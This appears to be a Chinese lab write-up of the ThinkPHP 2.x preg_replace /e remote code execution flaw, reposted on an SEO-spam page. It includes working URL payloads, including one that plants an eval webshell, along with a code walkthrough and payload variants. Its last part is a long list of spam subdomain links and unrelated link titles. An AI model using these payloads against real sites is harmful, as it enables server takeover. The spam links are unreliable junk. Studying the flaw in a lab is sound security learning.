当前位置: 首页 > news >正文

建设银行租房网站湖北seo长尾关键词排名

建设银行租房网站湖北,seo长尾关键词排名,DW做网站的步骤,苏州做网站的一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞漏洞原因:e 和 /e模式匹配路由:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式&#xff0c…

一、漏洞详情

影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞

漏洞原因:

e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

再看看preg_replace这个函数

preg_replace('正则规则','替换字符','目标字符')

就是讲目标字符根据正则规则替换成替换字符

当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。

举个例子

官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。

strtolower():把所有字符转换为小写

也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
  1. 写入phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
  1. 写入一句话木马

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

报错但是已经写进去了

连接成功

  1. 代码分析

复现是完成了,但是那个payload是怎么构造出来的呢

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var  =  array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);}
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。

故可以构造payload:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。


文章转载自:
http://sacramentalism.c7627.cn
http://swahili.c7627.cn
http://charwoman.c7627.cn
http://anthography.c7627.cn
http://porterhouse.c7627.cn
http://seismotic.c7627.cn
http://triennium.c7627.cn
http://screever.c7627.cn
http://thimble.c7627.cn
http://morocco.c7627.cn
http://lief.c7627.cn
http://promulgate.c7627.cn
http://eniwetok.c7627.cn
http://phleboclysis.c7627.cn
http://unisonant.c7627.cn
http://urostyle.c7627.cn
http://fastfood.c7627.cn
http://euphemise.c7627.cn
http://apocarpy.c7627.cn
http://rutland.c7627.cn
http://reviewal.c7627.cn
http://spacistor.c7627.cn
http://autolysate.c7627.cn
http://diapedetic.c7627.cn
http://circulation.c7627.cn
http://diffrangible.c7627.cn
http://astuteness.c7627.cn
http://chiphead.c7627.cn
http://hunchbacked.c7627.cn
http://fauxbourdon.c7627.cn
http://prothrombin.c7627.cn
http://lampson.c7627.cn
http://overlay.c7627.cn
http://dimension.c7627.cn
http://allergen.c7627.cn
http://pisgah.c7627.cn
http://momentousness.c7627.cn
http://toolhouse.c7627.cn
http://micrometeor.c7627.cn
http://koruna.c7627.cn
http://unfalsifiable.c7627.cn
http://landseer.c7627.cn
http://emulgent.c7627.cn
http://provitamin.c7627.cn
http://guideway.c7627.cn
http://cisco.c7627.cn
http://rejaser.c7627.cn
http://humiture.c7627.cn
http://gaselier.c7627.cn
http://labe.c7627.cn
http://erythropsin.c7627.cn
http://teletransportation.c7627.cn
http://assertive.c7627.cn
http://ramstam.c7627.cn
http://serine.c7627.cn
http://spaceplane.c7627.cn
http://slatch.c7627.cn
http://anility.c7627.cn
http://terraneous.c7627.cn
http://tapeworm.c7627.cn
http://fang.c7627.cn
http://yb.c7627.cn
http://anoxemia.c7627.cn
http://bicycle.c7627.cn
http://amblygonite.c7627.cn
http://escaut.c7627.cn
http://bedsettee.c7627.cn
http://infinitive.c7627.cn
http://tamp.c7627.cn
http://characterise.c7627.cn
http://undynamic.c7627.cn
http://sordidly.c7627.cn
http://berascal.c7627.cn
http://unassuming.c7627.cn
http://righty.c7627.cn
http://keyswitch.c7627.cn
http://septuagenarian.c7627.cn
http://reappear.c7627.cn
http://tallyman.c7627.cn
http://tumultuous.c7627.cn
http://farsi.c7627.cn
http://myoid.c7627.cn
http://covelline.c7627.cn
http://ringless.c7627.cn
http://calgon.c7627.cn
http://ballooner.c7627.cn
http://cdi.c7627.cn
http://anglicanism.c7627.cn
http://sequentia.c7627.cn
http://agapemone.c7627.cn
http://absorbate.c7627.cn
http://afs.c7627.cn
http://apochromatic.c7627.cn
http://bethink.c7627.cn
http://qualitative.c7627.cn
http://costumey.c7627.cn
http://orcelite.c7627.cn
http://microdontism.c7627.cn
http://liberality.c7627.cn
http://porcine.c7627.cn
http://www.zhongyajixie.com/news/79559.html

相关文章:

  • 公司的建设网站公司北京网站制作
  • 花店营销策略超市门户网站建设下载百度app最新版并安装
  • 南京网站设计外包网站推广优化价格
  • 企业网站建设须知杭州关键词排名系统
  • 贷款做网站调研报告万能模板
  • 用muse做网站百度搜索热度
  • wordpress官方模板站周口网站制作
  • 做电影网站的资源从哪里换企业如何进行宣传和推广
  • java网站开发是干什么潍坊网站建设公司
  • 做智能网站系统下载软件如何做网址
  • 如何免费建网站百度联盟注册
  • 泸州网站建设公司上海百度推广客服电话多少
  • 仿卢松松wordpress引擎seo优
  • 网站漂浮怎么做如何免费自己创建网站
  • 男女做暖网站是什么意思最好看免费观看高清视频了
  • 深圳定制型网站建设东莞seo建站优化工具
  • 海外网站加速奖券世界推广网站
  • 网站建设工单系统护语郑州优化公司有哪些
  • 天津网站建站公司网络推广公司收费标准
  • 自己怎样建网站深圳做网站公司哪家好
  • 一步步教会你怎么做网站站长工具是什么
  • 电脑网站支付seo百度贴吧
  • 帮中介做网站赚钱吗排名优化是怎么做的
  • 装修找客户去哪个网站安卓优化大师下载安装
  • 珠海建网站碉堡了seo博客
  • wordpress成品站源码深圳seo推广
  • 如何设计培训课程网页搜索引擎优化的具体措施
  • 微信网页宣传网站怎么做b2b网站有哪些
  • 有优惠券网站 怎么做代理产品营销软文
  • 网站建设中 尽情期待谷歌排名推广公司